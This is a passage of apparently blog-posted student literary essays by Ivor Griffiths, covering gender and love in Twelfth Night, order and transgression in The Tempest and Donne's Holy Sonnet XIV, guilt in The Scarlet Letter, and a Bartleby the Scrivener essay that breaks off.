Forest of Arden; the characters are closer to nature and resolve their difficulties away from the obstacles. In Twelfth Night obstacles are internal: Orsino’s love for Olivia is unrequited because she has sworn to mourn for seven years, so neither can achieve reciprocal love. Illyria, in a state of melancholy, caused by the characters, requires new characters to free it: Viola and Sebastian, shipwrecked, unexpectedly find themselves within the unusual surroundings of

Illyria. (Saccio, 1999)

Shakespearean love is a paradox: foolish and wonderful. Falling in love is moving and thus wonderful. Juxtaposed against this is the bizarre and artificial

behaviours of the participants in a courtship. The expression of love is something that an audience will find amusing and comic. In As You like It Shakespeare considers such behaviour in the Seven Ages of Man speech by Jaques:

And then the lover,

Sighing like a furnace, with a woeful ballad

Made to his mistress’ eyebrow. (II, vii,146)

Shakespeare illustrates contemporary methods men use to express their love: ballads, poems, sonnets or love letters. Orsino, in Act I Scene I, rebuffed when sending Olivia a love note, dwells on this and in his melancholia says:

The instant was I turned into a hart,

And my desires, like fell and cruel hounds,

E’er since pursue me. (

I. i. ll 22-24)

He refers to Ovid’s Metamorphoses and the Greek Myth of Actaeon and Diana, in which Actaeon happens upon the naked and virginal Diana when hunting. Transformed into a hart (deer), by Diana, his own hounds devour Actaeon: if our desires are not satisfied they will devour us. Viola, playing a man, Cesario, is asked by Orsino to deliver a love note to Olivia. She immediately falls in love with Orsino: I’ll do my best To woo your lady – [aside] yet a barful strife –Whoe’er I woo, myself would be his wife. (I, v, ll. 40-41) This love faces a comic internal barrier: Viola is posing, implausibly, as a man. Cesario/Viola visits Olivia, as ambassador for Orsino, attempting to change Olivia’s mind and make her love again Viola mocks the method by which Orsino is stating his love. Viola interrupts herself saying she is not going to waste her time upon it for the wrong woman:I pray you, tell me if this be the lady of the house,for I never saw her: I would be loath to cast awaymy speech, for besides that it is excellently wellpenned, I have taken great pains to con it. (

I. v. ll. 151-155)

He/she is not behaving like the standard lover; this spikes the interest of Olivia. After the ladies in waiting leave Viola as Cesario tries again, this time Olivia mocks the convention:O, I have read it. It is heresy. Have you no more to say? (

I. v. ll.201) The formal convention established by both is mocked. Cesario/Viola during this scene speaks with two voices one a man and the other a woman. When speaking as a man he says:Good Madam let me see your face. (

I. v. 11. 202)
Olivia replies when unveiled:Look you sir, such a one I was this present. Is’t not well done? (

I. v. ll. 206)

Cesario/Viola in a man’s voice replies:Excellently done, if God did all. (

I. v. ll. 207)
This “man’s” voice complements Olivia on her beauty, suggesting that it is God made and not artificial. Later in the scene, Cesario criticises Olivia:I see you what you are, you are too proud,But if you were the devil, you are fair. (

I. v. ll. 219 – 220)
The first line is the female voice, the intuitive observation that Olivia is vain. The second line is a male voice complementing Olivia’s beauty again. The conflicting sexuality and the tension caused by Viola’s cross dressing is effecting Olivia, for by the end of the scene she has fallen in love with Cesario. Viola chides Olivia for locking herself away from love:What is yours to bestow is not yours to reserve (

I. v. ll. 167 – 168)
And later:Lady, you are the cruellest she aliveIf you will lead these graces to the graveAnd leave the world no copy (

I. v. ll. 211 – 213)

In other words, you should not die without having children (and thus sex – with me perhaps?). Viola would have been played by a teenage boy establishing an androgynous appeal to Orsino and Olivia. Olivia, like Viola and Orsino, faces a barrier to her love: differing social status and Cesario’s gender. Viola causes both Orsino and Olivia to transform themselves: from being melancholy and introspective to generous and kind. By the end of the play, the rebirth of these characters is complete: when both attain, apparently, the reciprocal love they desire. The situation is improbable, comedy allows this suspension of belief. The setting allows the foolishness of love to fully express itself and appear comic to the audience. (Saccio,1999)

Shakespeare uses comedy to make profound points about love and relationships, in this case unrequited homosexual love. The play exhibits many of the characteristics of “Shakespeare’s festive comedies” what Cesar Lombardi Barber sees as the spirit and the tradition of festivals that Shakespeare’s contemporary audience associated with festivals celebrated during their youth and prior to their new urban existence. Barber expounds: “I have been led into an exploration of the way the social form of Elizabethan holidays contributed to the dramatic form of festive comedy [and] we can see here” the way in which “art develops underlying configurations in the social life of a culture” (Barber). Twelfth Night is a celebratory comedy, set during a holiday: The Lords of Misrule traditionally would take charge on this day, the Feast of Fools, involving a reversal of roles; reflected in the gender role reversal of Viola, “For Elizabethans this title [Twelfth Night] would have stirred…associations with…time in which normal rules were suspended” (Barton, 1994, 105).

The characters in Twelfth Night placed in comically preposterous scenarios, the improbability of which we accept, and Shakespeare has freedom to explore issues of sexuality behind this veil.

Illyria, “the society” of the play, is undemanding: time is spent on singing and dancing, leisurely courtship, drunkenness and practical jokes; Malvolio, ridiculed for being out of place, behaves like a puritanical pessimist, intent on ruining the carefree atmosphere. However, Malvolio is just a nuisance not a barrier to love and romance; the victory of love in the play is dependant upon overcoming

other obstacles. Orsino and Olivia create internal obstacles; they assume the mantles of romantic lover and grieving Lady. Viola because of her disguise becomes an obstacle to her own fulfilment. The outwardly comic fool, Feste, displays a degree of tired cynicism on occasion: for example in the final song: a mocking of these artificial marriages: Olivia and Orsino would rather have married each other’s spouses. The humiliation of Malvoli and his subsequent incarceration, as a lunatic, is totally out of proportion to his transgression. This sub text gives the play a darker edge than is outwardly apparent from the frivolity and implausibility of the setting, suggesting darker undercurrents. (Leggatt, 1974, pp. 221 – 254)

The play, as a comedy, conforms to convention and is concerned with marriage in the same way that, conversely, tragedies consider death (Romeo and Juliet

is an exception and considers both death and marriage). Viola, like Rosalind, in As You Like It, dresses as a man. As in The Comedy of Errors there is a shipwreck and mistaken identity of a pair of twins. The Comedy of Errors has same sex twins. By contrast, in Twelfth Night, by utilising different gender twins, Shakespeare is able to subtly consider sexual and gender ambiguity. The title of the play Twelfth Night or As you Will, gives a hint to the homoerotic imagery in the play: anything goes on the Feast of Fools.

Boys played women and girls in Elizabethan times; the introduction of gender ambiguity provides a subtle, homoerotic subtext. Comic effects of role-play are used to explore this. Viola is a boy playing a woman in turn playing a man; Olivia is a boy playing a grieving and cloistered nun and confusion over sexuality is established.

Consequently, closely entwined within the plot are issues of heteroeroticism, Viola courting Olivia on behalf of Orsino, and homoeroticism, Olivia’s love at first site for Cesario. When Orsino is speaking with who he believes to be a man, Cesario, he declares his homosexuality:

Dear lad, believe it;

For they shall yet belie thy happy years,

That say thou art a man: Diana’s lip

Is not more smooth and rubious; thy small pipe

Is as the maiden’s organ, shrill and sound,

And all is semblative a woman’s part. (

I. iv. ll. 29 -33)

Act II scene II considers female homosexuality, and Viola’s subsequent difficulties:

How will this fadge? My master loves her dearly;
And I, poor monster, fond as much on him;
And she, mistaken, seems to dote on me.
What will become of this? As I am man,
My state is desperate for my master’s love;
As I am woman,–now alas the day!–
What thriftless sighs shall poor Olivia breathe!
O time! Thou must untangle this, not I;
It is too hard a knot for me to untie! (II. ii. ll. 31-39)

Furthermore, Antonio appears to have a homosexual attraction to Viola’s male equivalent, Sebastian:

But come what may, I do adore thee so

That danger shall seem sport, and I will go. (II. i. ll. 41-42)

The ambiguity of sexual attraction due to the comic cross dressing of Viola blurs gender boundaries. Allowing consideration of sexual and emotional possibilities normally repressed by strict rules imposed by the “old” society. Shakespeare uses comedy to do this. The imposed barriers, of the “old” society, prevent Orsino and Olivia enjoying full expression of their repressed homosexuality. Biological limitations, and economic necessities, conspire against Orsino and Olivia internally: sexual attraction normally leads to marriage and financial consequences and must, even in the “new” society, be a cross gender union. However, in a romantic comedy, set in the carefree magical region of

Illyria, when it always seems to be a holiday, barriers to these attractions are removed. There is confusion in the “old” society concerning sexuality. The freedom and carefree nature of a festival makes everything seem possible. So, temporarily at least, the audience see sexual love unrestricted by the “old” society rules of gender and status, before heterosexual conformity is re-imposed at the end of the play. Northrop Frye’s three-stage dynamic of comedy is evident here: deadlocked and unproductive social pressures transform to a freedom facilitated by comedy prior to nature and convention returning to an acceptable “normality”. Olivia and Viola attain their desires. Malvolio and Orsino do not. Orsino fails in his courtship of Olivia and his desire for Cesario thwarted by virtue of the fact

that “he” is female. Sebastian, Toby and Orsino “acquiesce to the role of object of female desire” (Dympna, 2001, p. 138). Both Olivia and Orsino do not achieve the original objects of their desire. Olivias marriage to Sebastian and Orsinos to Viola, diverts attention away from the homosexual attraction that both exhibit to their respective partners earlier in the play. (Suzuki, 2001)

Word Count: 2174

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Shakespeares’s The Tempest and John Donne’s Holy Sonnet XIV Wed, 29 Aug 2007 12:07:19 +0000 Ivor Griffiths This essay will consider whether the poetry and drama of the early modern period is more concerned with transgression or with order. In reaching a conclusion Shakespeares’s The Tempest and John Donne’s Holy Sonnet XIV will be considered, taking into account genre, theme, form and conventions of the period.

The Tempest is probably Shakespeare’s last play, King Lear was his longest; the two plays both deal with family relationships, power, transgression and order. King Lear longs to be reunited with his daughter Cordelia even if in a prison cell, having lost everything because of the treachery of his two other daughters. The Tempest sees father and daughter marooned and exiled on an island, alone apart from beasts (which would include Caliban). It is the transgression of his brother that is the cause of his predicament. The storm that sees King Lear thrust into the darkness as an old and powerless man is echoed in The Tempest. The power of nature, to destroy the ordered world of man, is amply demonstrated in both plays. In The Tempest the storm is caused by the old man, who in adversity has acquired power, that of a sorcerer, from books, King Lear lost all power. The theme of fragility, inherent in human order when confronted by the power of nature, and thus god, is made clear by the Boatswain when he shouts “What cares these roarers for the name of king?” (1.1.16-17) The theme of fraternal envy is also repeated in The Tempest, Antonio has betrayed and usurped his brother Prospero. In King Lear Edmund, the bastard child of

Gloucester, betrays his father and brother. He and his father are punished by blinding and death. The transgression of infidelity punished to enforce the order of legitimacy.

The Tempest belongs to the class of plays commonly grouped as Shakespeare’s Late Romances: Pericles, Cymberline and The Winters Tale making up the quartet. In these plays, Shakespeare considers family relationships and reconciliation in a mythical and fantasy setting, elements of magic, mystery and nature are theatrical devices. The modern interpretation of “romance” refers to those with comic and tragic elements, developed and popularized by Francis Beaumont and John Fletcher between 1607 and 1613. Philaster combines the tragic with the comic to deal with redemption and transgressions, it is a collaborative work, and Francis Beaumont’s Knight of the Burning Pestle is an example of farcical comedy. Comedies, like Twelfth Night and Knight of The Burning Pestle focus on youth and happy endings. Romance, like The Tempest often has middle-aged and older protagonists in central roles, Prospero, Antonio and Gonzalo. Ferdinand and Miranda are completely controlled by Prospero, like pawns, underlined by the game of chess they play, showing the audience that beneficent wielding of power is a prerequisite of order. The Tempest highlights community, using Kings, Princes and Nobles as characters inherently powerful and show order can be restored even in the midst of a tempest, albeit completely controlled and manipulated by Prospero. Romance emphasises the role and power of nature rather than human nature, the storm at the beginning of the play shows how fragile order imposed by men can be. In The Tempest characters experience events with a symbolic effect beyond rational understanding, requiring a suspension of belief and acceptance of the existence of magic, magical figures together with the ability of Prospero to create a storm, as a Sorcerer. Themes of order, transgression, atonement and subsequent redemption rather than punishment are constant throughout, symbolic of the forgiving nature of God rather than that of vengeance.

Knight of the Burning Pestle pokes fun at contemporary theatre, involving the audience to question clichéd literary devices in a farcical way. A precursor to what is now satire. The play shows us we all have idiosyncrasies, bad habits and our own perspectives, that may not reflect reality and our values could be of exaggerated importance. The message of the play is to ask us to reconsider the status quo, to reflect on order and how our sense of order is moulded by those around us and accepted conventions of behaviour. It actually transgresses the conventions of contemporary theatre and by implication criticises Shakespeare’s work as too fantastical and ordered.

Power, betrayal and treachery are recurring themes in The Tempest: Antonio betrays Prospero; Caliban accuses Prospero of betraying him, by gaining his trust and then taking the island; Sebastian conspires with Antonio to kill Alonso; Stephano and Caliban plot to kill Prospero and become “king o’the isle.” These themes of betrayal are portrayed as negative and as undermining order, Prospero was a good Duke but his brother by implication bad. Treachery is thus portrayed as sinful and to result in punishment, Judas betraying Jesus is an obvious example. Donne betraying Catholicism is another example, which he explores in Holy Sonnet XIV.

The Tempest presupposes that kingship is required, even a commonwealth, as Gonzalo describes it, needed a King[quote]. The play shows that hierarchical political superstructures ruled by a King, and Aristocracy, are a paradigm of social existence. We must not consider changing the order; merely consider that which makes a good King better. All of the characters are subject to beneficent control by Prospero. Power and order in all forms is considered. Prospero is symbolic of Statehood and the Divinity of Kings, exemplified by his mastery of Arts and his use of magical books and words to control and scrutinise events. Prospero’s manipulation of the other human characters and Caliban with the magical sprite Aerial, together with his power to control the weather with Art, symbolises political control and manipulation of people, facilitated by a superior knowledge, gained from magic books. The mystery encompassed in books Prospero “valued above my Dukedom” is central in The Tempest. The power of knowledge, gained from reading, is portrayed as magical, this knowledge is used by Prospero to wield power and manipulate events to restore power to himself and order in the aftermath of the storm. Superficially he uses power for benevolent purposes eventually reconciling his differences with old adversaries and restoring the status quo. His apparent benevolence is questioned in his treatment of Caliban. However Caliban is portrayed as a stupid drunk, casting doubt on his version of events that is also contradicted by Prospero. In Caliban the morality of colonialism and the imposition of order upon the savage native is explored, alternative views of the

New World are put forward Gonzalo’s Utopian vision of social order contrasted with Prospero’s tricking, enslavement and violence towards Caliban, who is symbolic of natives oppressed by Imperialism. Caliban tells Trinculo that Prospero he will be tortured if he does not comply with Prospero’s wishes. Thus are we shown that pain, and the fear of it is the controlling force behind social order and colonisation. The disposability of an artisan’s life is exposed at the beginning of the play when the Boatswain is threatened with death for being rude. Caliban’s hatred of Prospero symbolises the effect of attempting to impose order on an indigenous population by fear and torture. Caliban as a native is shown to empathise and appreciate nature more than the other characters

“… the isle is full of noises,

Sounds and sweet airs, that give delight and hurt not.”

The importance of conformity is underlined when Prospero orders Ferdinand and Miranda to be temperate in their love, and for Ferdinand, unlike Adam to avoid temptation, warning him harshly :

“If thou dost break her virgin knot before

All sanctimonious ceremonies may

With full and holy rite be minister’d

Sour-ey’d disdain, and discord, shall bestrew

The union of your bed”.

The theme of chastity is continued at the masque, which features Juno, who is the Greek goddess of marriage and home; Prospero specifically excludes Venus and Cupid, goddesses of beauty and love. The need to follow rules and the perils of transgressions are replete throughout the play. Stephano and Trinculo, portrayed as hopeless drunks are brought to justice and Caliban tortured for attempting to rape Miranda. Prospero is himself intemperate “with anger so distemper’d”, but eventually controls it, clearing the sky of the tempest and forgiving his adversaries, for the sake of future order. The themes of transgression and redemption are powerfully explored in Holy Sonnet XIV.

The Petrarchan sonnet form, that Donne utilised, consists of an octet, which puts forward an idea, obstacle or scenario, followed by a sestet that provides a solution or commentary. Iambic pentameter is required to adhere to the form and the rhyme scheme should be abbaabba or abbacddc followed by xyzxyz or other variations using two or three rhyme sounds.

While Donne utilised the form in Holy Sonnet XIV he incorporated enjambment, running one line into another and half rhyme in lines 10 and 12. Taking the half rhyme into account the rhyme order is abbacddc efefgg, on the face of it conforming to the rhyme order. Poetic form and the strictures imposed thereby inform the poem, the structure becomes part of the language, the pattern of which may influence the meaning. The half rhyme highlights the words “enemie” and “I”, this emphasises that the narrator is a sinner and also counteracts the use of “you” in the poem to focus the reader’s attention on the narrator. These transgressions of form thus convey meaning and shift emphasis. He also transgresses acceptable norms in his vivid depiction of sexuality within a religious sonnet. But for the fact hat the poem is included within the Holy Sonnets it would be possible to interpret it as an erotic poem with subtle references to Christianity, the title Holy Sonnet XIV reverses this conception. Petrarchan sonnets were usually concerned with love of a man for a woman. The use of this form in the genre with such sexually charged language transgresses the accepted rules of form and convention to produce a powerful effect. Freeing the poem from the meditative form of traditional religious poetry of the time is the use of irregular metre and random caesuras,

The opening line utilises enjambment and is a mixture of trochees and iambs. “Batter my heat” can be read as two spondees or a trochee and iamb. The provocative nature of the poem is enhanced by the use of the word heart, which was common slang for vagina. The congruence of rape and Godly redemption within an explicitly violent sexual poem would trouble many Christian readers. Donne converted to Anglicanism, betraying his Catholic faith. The anger at this transgression is vividly portrayed metaphorically as a bereft lover who craves his lover’s touch even if this is forced masculine sexual violence.

The Tempest in form is written in lyrical iambic pentameter, utilising rhyme and blank verse. It is a romance consisting of five Acts. The themes running though the play deal with chaos and order, power and pain, transgression and redemption. The structure does not transgress conventions of form; the substance shows us that transgression will always be countered by the power of order. Transgressions in this setting are both punished and forgiven and occur in equal measure. The play is not more interested in order or transgression but shows us one cannot exist without the other. Holy Sonnet XIV challenges the conventions of the sonnet form and makes the reader consider God in an erotic context. This deviation from accepted form and convention of the time deals with Donne’s conversion and is symbolic of the chaos caused in his psyche because of it. It invites the reader to experience a questioning of religious belief and the conception of it in a raw and powerful appeal to base emotions. It is the transgressive form that makes the poem so powerful. To that extent the poem is concerned with transgressing order. The poetry and drama of the early modern period is equally concerned is equally concerned with transgression and order

Donne, John. “Batter my heart, three personed God…” The Norton Introduction to Poetry.

Ed. J. Paul Hunter.

New York: W.W. Norton & Co, 1996. 154-155.

Guibbory, Achsah. The

Cambridge Companion to English Poetry Donne to Marvell.

Ed. Thomas N. Corns. Cambridge:


University Press, 1993.

Kerrigan, William. “The Fearful Accommodations of John Donne.” English Literary Renaissance.

4(1974): 337-363.

Marotti, Arthur F. Critical Essays on John Donne.

New York: Macmillan

Publishing Co, 1994.

Payne, Craig. “Donne’s Holy Sonnet XIV.” Explicator. v54 (1996) 209-213

Steig, Michael. “Donne’s Divine Rapist: Unconscious Fantasy in Holy Sonnet XIV.”

University of


Studies in Literature: A Journal of Interdisciplinary
Criticism. 491972):52-58. Wanninger, Mary Tenney. “Donne’s Holy Sonnet XIV.” Explicator 28(1969): Item 37.


Jung, C. G. Man and His Symbols (also von Franz, Henderson, Jacobi, Jaffe London: Picador, 1964.

Memories, Dreams, Reflections

Glasgow: William Collins & Sons, 1963.

Synchronicity – An Acausal Connecting



University Press, 1973.

Palmer, D. J. (Editor) The Tempest – A Selection of Critical Essays

London: MacMillan Press Ltd., 1977.

Shakespeare, The Tempest (the play with textual notes and commentaries)

New York: Signet Classics, 1964.

Tillyard, E. M. Shakespeare’s Last Plays

London: Chatto and Windus, 1938.

Traversi, Derek Shakespeare: The Last Phase

London: Hollis and Carter, 1979.

Also: John Wilders’ lecture on The Tempest given at


University -


College – August 4th, 1993.

Also: Paul Rickard’s Thinking Points and other handouts and class discussions.

Donne, John. “Batter my heart, three personed God…” The Norton Introduction to Poetry.

Ed. J. Paul Hunter.

New York: W.W. Norton & Co, 1996. 154-155.

Guibbory, Achsah. The

Cambridge Companion to English Poetry Donne to Marvell.

Ed. Thomas N. Corns. Cambridge:


University Press, 1993.

Kerrigan, William. “The Fearful Accommodations of John Donne.” English Literary Renaissance.

4(1974): 337-363.

Marotti, Arthur F. Critical Essays on John Donne.

New York: Macmillan

Publishing Co, 1994.

Payne, Craig. “Donne’s Holy Sonnet XIV.” Explicator. v54 (1996) 209-213

Steig, Michael. “Donne’s Divine Rapist: Unconscious Fantasy in Holy Sonnet XIV.”

University of


Studies in Literature: A Journal of Interdisciplinary
Criticism. 491972):52-58. Wanninger, Mary Tenney. “Donne’s Holy Sonnet XIV.” Explicator 28(1969): Item 37.

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The Scarlet Letter and Guilt Wed, 29 Aug 2007 12:02:35 +0000 Ivor Griffiths This essay will consider how the theme of guilt is represented in The Scarlet Letter, by discussing how it is portrayed and symbolised within the text. To do so it will be useful to have a working definition of guilt. The Concise Oxford Dictionary defines guilt as being “culpability” and a guilt complex as “a mental obsession with the idea of having done wrong”. Obviously there are various levels of guilt depending upon the seriousness of the transgression. In the case of The Scarlet Letter the wrong, or sin, is adultery: a very serious breach of Christian morality. The way in which each of the parties, to the sin, deal with their guilt is different, the female, Hester, has no option; she cannot conceal the sin, for obvious biological reasons. Dimmesdale has a choice; however, his choice of secrecy is dependant upon the complicity of Hester. He chooses to remain quiet supported in this by Hester. Nonetheless, this sin causes Dimmesdale to suffer an immense guilt complex, consumed with guilt it becomes a “mental obsession” which ultimately destroys him. He does however seek to rationalise it. At one point in Chapter X Dimmesdale asks the Physician:

“Why should a wretched man, guilty, we will say, of murder, prefer to keep the dead corpse buried in his own heart, rather than fling it forth at once, and let the universe take care of it!” To be answered:

“Yet some men bury their secrets thus,” Dimmesdale then attempts to excuse this concealment:

“True; there are such men, but, not to suggest more obvious reasons, it may be that they are kept silent by the very constitution of their nature.”

He then continues to excuse his secrecy as being to the benefit of all, by allowing him to continue to preach, but it is clear it is causing him considerable internal conflict: a guilt complex.

Hester deals with her guilt in an open way, wearing elegant clothes when leaving the prison and embroidering a fancy letter ‘A’ to wear on her chest. She wears this letter on her chest long after she is required to do so. She is clearly not suffering from a “guilt complex”; she has confronted the transgression for which she has “culpability”. She does not suffer from a guilty conscience in the same way as Dimmesdale, so does not suffer the same physical and mental deterioration suffered by him.

To consider the way in which

Hawthorne intended to represent the power of guilt it is useful to consider his own beliefs. He was arguably considering a puritanical view of guilt and seeking to represent its different forms. The issue was considered in some depth by Herman Melville, in his essay, “Hawthorne and His Moses,” Melville describes

Hawthorne’s soul as “shrouded in a blackness” (Melville, H., 1994). Melville believes that the origin of this darkness and black mode of thinking derives from that:

“…Touch of Puritanical gloom… [which] derives its force from its appeals to that Calvinistic sense of Innate Depravity from Original Sin, from whose visitations,

in some shape or other, no deeply thinking mind is always wholly free.” (Melville, H., 1994)

Melville’s view that

Hawthorne’s darkness is rooted in Puritanism is reasonable. The implication, by Melville, being that Hawthorne represents guilt in The Scarlet Letter as something from which no-one can be truly free, whether it is accepted head on, and confronted, or not.

Hawthorne arguably identified himself with the theories of John Calvin, which are fundamental to the to a Calvinist Puritanical faith. Henry James states that:

Hawthorne found the necessary darkness… in his Puritan heritage… and [would] capitalize on the darkness latent in

America’s Puritan history and heritage”.

It would be an error to argue that

Hawthorne was preaching a wholly puritanical message in the Scarlet Letter with guilt as a symbol for it. For while Puritans do believe that Original Sin effects the whole of society, and that we are all sinners, they nonetheless believe in the possibility of redemption from this Original Sin. That redemption is possible: with the appropriate behaviour and a sense of guilt, shame and conscience. However, they also believe that the method of expression of guilt is important in this regard.

Hawthorne, in the text, did not represent that all members of society can purged of the guilt of sin: even though Dimmesdale did eventually confess, and suffered from a deleterious guilt complex, the sin he committed is represented as being ultimately responsible for his death. This representation of the power of sin and guilt opposes the Transcendentalists view, with which Melville sympathised, that all members of society can be redeemed through the power that is innate within all individuals. (O’Toole, H., 2003). They do not believe in the ultimate power of evil, which is represented by

Hawthorne in the demise of Dimmesdale. The text represents a belief that evil, sin and guilt must be confronted head on. In the depiction of the differing effects that guilt have upon Hester and Dimmesdale, the text argues that the only way to deal with sin, guilt and a guilt complex is to confront it, but not all can do this, and even if done, not all are truly redeemed. In the depiction of Pearl as being a quirky individual, fond of the woods (a suggestion of evil) and in some way different is another representation of guilt and sin as being pervasive in the damage that it can cause. The message is that even third parties, who are themselves innocent of the sin but nonetheless products of it can suffer. It is represented in the same way that all humans suffer because of Original Sin. (Melville H., 1994)

It is clear that one of the main themes of the book is guilt and conscience. Furthermore hidden guilt is represented as more harmful than open guilt. Hester is labelled as openly guilty of a transgression, with a scarlet letter ‘A’ and imprisoned because of it. Initially she is mocked and badly treated by her small community, but as the years pass she earns the respect and forgiveness of those who initiated the punishment. Kinkead-Weekes makes the point that there is a suggestion, in the text, that open acceptance of sin and guilt is represented as empowering:

“By accepting punishment and guilt, Hester is educated and strengthened by suffering, and acquires a power for good beyond the scope of the rebel of the opening.”

However, she accepts responsibility more so than suffering from guilt as a mental obsession. The fact that she embroiders a fancy letter ‘A’ and wears it long after she is required to do so suggests pride more than guilt.

Dimmesdale, in refusing to admit to his sin, is condemned to suffering from a guilt complex, a secret that he can share with no one, except God. This guilt complex is added to because Hester, whilst accepting guilt and punishment, is keeping it a secret as well. She is being punished while he continues to retain the respect of the community. By not confessing he is able to continue in his pastoral role, albeit riddled with guilt; this makes him a hypocrite also. He is aware that he will never be free of this guilt complex until he confesses, however, he keeps the secret and his mental and physical health deteriorate to such an extent, because of the guilt complex and shame, that when he does finally confess he dies. His character is portrayed as quiet and pious, but his failure to confess and his continuing to preach the importance of confessing sin render him a coward as well as a hypocrite. He rationalises that, were he to confess, he would not be able to help anyone and thus excuses himself; this representation of guilt is manifested as a fundamental weakness to his character. Occasionally he contemplates his hypocrisy but never finds the courage to confess, he begins to suffer considerable anxiety because of this weakness. The guilt in Dimmesdale is represented as a powerful force for harm; this is because it is hidden, not accepted and furthermore, is compounded by hypocrisy. The power of guilt is further represented

when Dimmesdale subjects himself to self flagellation, and by carving an ‘A’ onto his chest hidden from view, like his guilt. Notwithstanding this punishment he still suffers, the point being made that guilt and secrecy are deleterious. Contrast this with the open guilt of Hester, she is openly labelled, which is ultimately empowering, allowing her to rise above her sin, guilt and shame and to emerge with the respect of her community, and the love of her daughter. Dimmesdale suffers for seven years before finding the moral courage to confess and overcome the weakness in his character. The confession is public and made during a sermon. It is also the conclusion to the plot and the climax to the text, but shortly after relieving himself of this burden he dies, in Hester’s arms. The ultimate power of hidden guilt, and the resultant guilt complex and shame, to destroy a person, is amply made. Kinkead-Weekes makes the point that an acceptance of sin and a feeling of guilt are represented within the text as a positive power for good, when he says of Dimmesdale:

“…his most guilty suffering produces his greatest power for good”

Guilt in the Scarlet Letter is being represented as both a positive and negative but inevitable human emotion. The text represents guilt as an emotion from which all must suffer in a Calvinistic puritanical way, that is, as fundamental to the human condition. The text demonstrates that confrontation of sin and the acceptance of punishment lead to redemption in the guise of Hester. Hiding sin and a refusal to openly accept guilt cause shame, misery and, in its ultimate manifestation, death in the guise of Dimmesdale.


Bercovitch, S, 1991. The Office of the Scarlet Letter. Baltimore, USA,



University Press,

Coxe, A. C. 1851, “The Writings of

Hawthorne.” In Church Review, pp. 489-511.

Donohue, A. M., 1985, Hawthorne — Calvin’s Ironic Stepchild.

Kent, Ohio.



University Press.

Hawthorne Nathaniel, 1850, The Scarlet Letter, Ticknor, Reed & Fields,


James, H., 1967 Hawthorne. New York,

St. Martin’s Press.

Kinkead-Weekes M., 1982, “The Letter, the Picture, and the Mirror: Hawthorne’s Framing of The Scarlet Letter ”, in Lee R. Ed., Nathaniel Hawthorne New Critical Essays,

London, Vision Press, pp 68 – 87

Melville, H. 1994, Hawthorne and His Moses. In The Harper American Literature. Volume I. 2nd ed. Ed. Donald McQuade.

New York,



College Publishers,

O’Toole H., 2003.The Blackness of Men’s Souls: Why Nathaniel Hawthorne could not Embrace Transcendentalism.

Bridgewater Virginia,


College Press.

Thompson D., Ed. 1995, Concise

Oxford Dictionary,

Oxford, Clarendon Press.

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Bartleby the Scrivener “I prefer not to” A consideration Wed, 29 Aug 2007 11:59:40 +0000 Ivor Griffiths This essay will explore the significance of Bartleby’s words “I would prefer not to” when seeking to understand the text, Bartleby the Scrivener.

The lawyer narrates the story from his own perspective and employs Bartleby. In order to understand why Bartleby was actually declaring his preference not to conform it is necessary to examine how he should have behaved. The narrator employed Bartleby because he could read and write, whilst he would be a professional writer unlike Melville, however, his work would be completely unoriginal and would involve mindless copying. The nature of such employees was such, at the time, that the lawyer did not even check his references, judging on appearance and manner alone. This makes the point that Bartleby was effectively no more than a machine, one among many thousands of similar white-collar workers in Wall Street. As such, his individuality and his uniqueness had no point within the society within which he had to exist, whether he preferred to or not. Melville is, of course a Transcendentalist. As such, he considered intuition to be highest form of reason and imbued with divinity, one’s individual potential will facilitate an individual path to God. (O’Toole H., 2003.)

As Heather O’Toole states:

”Transcendentalism depends on a complete adherence to the self and individual experience. This premise is a highly democratic concept, for it regards the importance of internal authority and individualism over external authority and mass consciousness.”

Transcendentalists believe in the possibility of positive change and the ability of each individual to attain divinity or communion with God from a reliance on their innate goodness and reliability and faith in their own instinct. This is in direct contrast to the Calvinistic Puritanical view that man is inherently evil and all but irredeemable. They believed that everyone had within himself or herself divine reason and must be free to achieve their full potential. Because of this fundamental philosophy, Transcendentalists favoured reforms. Many effective opponents to war, capitalism, and slavery were Transcendentalists. They argued that right and wrong are perceptions of the mind and not matters of reason. Transcendentalist believe that only one God exists and is manifest in all religious traditions; if every man has within him Divine reason, they contended, every person must be free to realize their fullest potentiality. If people could do so, then it would be possible to realize Heaven on Earth. (Sten, C. W., 1974)

The story effectively takes place in three phases: these being the appointment of Bartleby and his increasing resistance to the Wall Street routine, followed by attempts at cajoling his conformity by the lawyer and concluding with the retribution meted out by that society when Bartleby fails to conform. Throughout the story Bartleby is portrayed as being isolated, mysterious, and surreal almost. He is also portrayed as being different and alone, but not in the sense of being lonely, to emphasise the fact that he is exercising his own free will, he is not associated with anyone and thus not subject to undesirable influence, he is relying on his own instincts to make his own decisions. The phrase “I would prefer not to” is an understated way of refusing to conform, he is demonstrating the power of the individual to resist a communal pressure to comply. The activity that he is employed to carry out, writing, is on the face of it, intellectual, stimulating and original, however, it is reduced to “mechanical reproduction ruinous to the minds and bodies of the workers”. (Weinstein, C., 1998) What should be a deeply personal and individual activity is corrupted by capitalism. There is a good deal of irony in the fact that he and his colleagues are hired to copy but that his colleagues in Wall Street do not copy his behaviour, and as such his actions are ultimately futile, in so far as they achieve no change.

Bartleby, by uttering the words “I would prefer not to” effectively, as Cindy Weinstein states, “goes on strike without ever asserting that he has done so”. By using this phrase, Bartleby forces the employer, and narrator, to think carefully, and in some depth, about his expectations of his employees and the power within that relationship that up until that time he had taken for granted. The phrase is the driving force for the whole story. The narrator becomes more and more frustrated as Bartleby uttering this phrase defies him repeatedly. The narrator actually reconsiders his role and “begins to stagger in his own plainest faith”, doubting the rules upon which his own society, as he perceives it, is at fault. (Weinstein, C., 1998).

There is an element of irony given the narrator’s profession, which of course deals in rules, protects capitalism, and defends the principal of ownership. As the story progresses the narrator actually comes to believe that Bartleby may have a point and that “all the justice and all the reason is on the other side” (Melville H., 1853). He even begins to view the conditions in which the scriveners work as being oppressive, detailing other men’s wealth in writing and copying endless documents to protect the principle of ownership in the political superstructure of capitalism; which is of course epitomised in Wall Street itself. The phrase “I would prefer not to” also suggests a mooted rebellion against capitalism, and many Transcendentalists were opposed to Capitalism on philosophical grounds.

